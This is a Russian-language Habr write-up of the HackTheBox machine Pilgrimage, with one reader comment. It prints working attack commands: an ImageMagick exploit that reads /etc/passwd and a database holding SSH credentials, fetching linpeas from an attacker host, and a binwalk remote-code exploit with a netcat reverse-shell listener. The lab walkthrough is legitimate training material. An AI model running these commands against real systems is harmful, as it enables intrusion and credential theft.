Привет, Хабр, на связи лаборатория кибербезопасности компании AP Security! Сегодня пройдем с вами Linux-машину на HackTheBox под названием Pilgrimage.

Дисклеймер: все утилиты и техники, продемонстрированные в статье, приведены в учебных целях.

Сканирование и разведка

Для обнаружения активных сервисов просканируем машину с помощью Nmap:

nmap -sC -sV -p- -T4 10.10.11.219

На машине активны только две службы: ssh и http. Добавим ip-адрес машины в /etc/hosts и попробуем зайти на веб-страницу:

10.10.11.219 pilgrimage.htb

Сервис для загрузки изображений. На первый взгляд вроде ничего примечательного. Попробуем запустить dirsearch для поиска интересных директорий:

dirsearch -u http://pilgrimage.htb

Заметим среди найденных директорий /.git. Выкачаем все файлы с помощью утилиты git-dumper:

python3 git_dumper.py http://pilgrimage/.git ~/pilgrimage.htb

Среди содержимого будут находится следующие файлы:

Точка входа

Заметим утилиту magick, которая является обработчиком изображений. Запустим ее, чтобы узнать версию:

Погуглив, найдем эксплойт для этой версии magick, который позволяет читать содержимое файловой системы. Скачаем и запустим эксплойт:

python3 generate.py -f "/etc/passwd" -o exploit.png

После того как мы сгенерировали картинку, загрузим ее на веб-сервисе. Теперь, чтобы увидеть результат работы эксплойта нам нужно скачать наше изображение. Через Burp Suite отследим в какую директорию попадают все загруженные изображения:



Воспользуемся wget, чтобы скачать изображение:

wget http://pilgrimage.htb/shrunk/654a5d9ea01d4.png

Достанем содержимое с помощью утилиты identify:

identify -verbose 654a5d9ea01d4.png

Среди всех данных об изображении увидим закодированный в hex текст. Поместим его в текстовый файл и раскодируем с помощью xxd:

cat hex.txt | xxd -r -p

Эксплойт действительно работает! Как же нам воспользоваться этим, чтобы достать полезные нам данные? Просматривая файлы, которые мы выкачивали с помощью git-dumper, обнаружим базу данных:

Вместо /etc/passwd укажем директорию с базой данных:

python3 generate.py -f "/var/db/pilgrimage" -o sql.png

Также загрузим изображение на сайт, выгрузим его с wget и просмотрим содержимое:

Пользователя Emily мы уже видели ранее. А это вероятно всего креды для ssh. Чтобы удостовериться в этом, попробуем подключиться к машине:

ssh emily@10.10.11.219

Успешно! Здесь и будет лежать флаг пользователя user.txt.

Повышение привилегий

Для обнаружения возможных путей повышения привилегий воспользуемся утилитой LinPEAS. Для доставки на машину также воспользуемся python3 http.server и wget:

python3 -m http.server 80
wget http://10.10.16.44/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Просмотрев все подсвеченные файлы и директории, не обнаружим ничего интересного. Однако увидим файл с примечательным названием malwarescan.sh. Посмотрим его содержимое:

Даный скрипт обрабатывает файлы при помощи утилиты binwalk. Запустим ее, чтобы посмотреть версию инструмента:

Под данную версию есть эксплойт, позволяющий выполнить удаленное исполнение кода.

python3 51249.py image.png 10.10.16.44 8000

В качестве параметров указываем используемое изображение, адрес нашей машины и порт, с которого мы будем прослушивать соединение.

Сохраненное изображение также перекидываем с помощью wget:

wget http://10.10.16.44/binwalk_exploit.png

Запустим netcat и скопируем изображение в /var/www/pilgrimage.htb/shrunk/:

nc -lvnp 8000
cp binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/exploit.png

Машина пройдена!

Комментарии (1)


  1. NutsUnderline
    12.01.2024 23:04

    то есть если кого то не угораздило сделать доступной папку .git дальше можно было бы не читать?